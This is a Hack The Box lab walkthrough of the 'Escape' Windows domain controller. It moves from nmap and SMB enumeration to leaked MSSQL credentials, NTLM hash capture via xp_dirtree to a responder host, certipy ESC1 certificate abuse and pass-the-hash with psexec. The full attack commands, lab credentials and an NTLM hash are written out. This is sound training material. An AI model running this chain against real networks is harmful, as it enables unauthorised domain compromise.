HTB: Escape

Machine link: https://app.hackthebox.com/machines/Escape

Enumeration & Foothold

Nmap scan:

nmap -sCV -p- -T4 --min-rate 10000 10.129.228.253  -oN nmap_result
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-29 15:29 -0400
Nmap scan report for sequel.htb (10.129.228.253)
Host is up (0.085s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-29 20:29:32Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-05-29T20:31:11+00:00; +59m40s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-05-29T20:31:11+00:00; +59m40s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2026-05-29T20:31:11+00:00; +59m40s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-05-29T20:25:40
|_Not valid after:  2056-05-29T20:25:40
| ms-sql-info: 
|   10.129.228.253:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ms-sql-ntlm-info: 
|   10.129.228.253:1433: 
|     Target_Name: sequel
|     NetBIOS_Domain_Name: sequel
|     NetBIOS_Computer_Name: DC
|     DNS_Domain_Name: sequel.htb
|     DNS_Computer_Name: dc.sequel.htb
|     DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
|_ssl-date: 2026-05-29T20:31:11+00:00; +59m40s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
|_ssl-date: 2026-05-29T20:31:11+00:00; +59m40s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49693/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49694/tcp open  msrpc         Microsoft Windows RPC
49710/tcp open  msrpc         Microsoft Windows RPC
49720/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-05-29T20:30:28
|_  start_date: N/A
|_clock-skew: mean: 59m38s, deviation: 1s, median: 59m39s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

Let’s update the hosts file:

SMB enumeration:

We have read permission to the non-standart “Public” share.Let’s connect to this share.

If we look at the file we downloaded from the SMB share, the credentials are stored in:

Get Nazarov Samir’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

PublicUser:GuestUserCantWrite1

These are the credentials to connect to MSSQL:

Since I didn’t find anything interesting here, I’ll check if the SQL server is authenticating from our machine. If there is a service account for MSSQL, we can get its hash and crack it.

responder -İ tun0 -v

EXEC MASTER.sys.xp_dirtree '\\10.10.14.87\something'

Due to we getting hash for sql_svc, so we can crack it with John.

Let’s confirm this credentials:

Let’s connect with evil-winrm using this credentials:

We can find the password for the ryan.cooper user in the ERRORLOG.BAK file located in C:\SQLSERVER\Logs.

Privilege Escalation

Let’s scan the templates to check for certificate vulnerabilities.

certipy-ad find -u 'Ryan.Cooper' -p NuclearMosquito3 -dc-ip 10.129.228.253 -vulnerable -enabled

Excellent.UserAuthentication template is vulnerable to ESC1.Let’s request certificate for administrator from this template.

Note:
To learn more about the ESC1 attack, click: https://medium.com/@s4m1r/adcs-explotation-esc1-72f9011305e8

certipy-ad req -u 'ryan.cooper' -p 'NuclearMosquito3' -dc-ip 10.129.228.253 -ca sequel-DC-CA  -target 'dc.sequel.htb' -template 'UserAuthentication' -upn 'administrator@sequel.htb' 

Extracting Administrator’s NTLM hash:

certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.228.253 

If you encounter this KRB_AP_ERR_SKEW error, simply run the following two commands in the terminal.

sudo timedatectl set-ntp off
sudo rdate -n 10.129.228.253

Pass The Hash atack:

impacket-psexec sequel.htb/administrator@10.129.228.253 -hashes  aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee

system

If you encounter any mistakes, please don’t hesitate to let me know.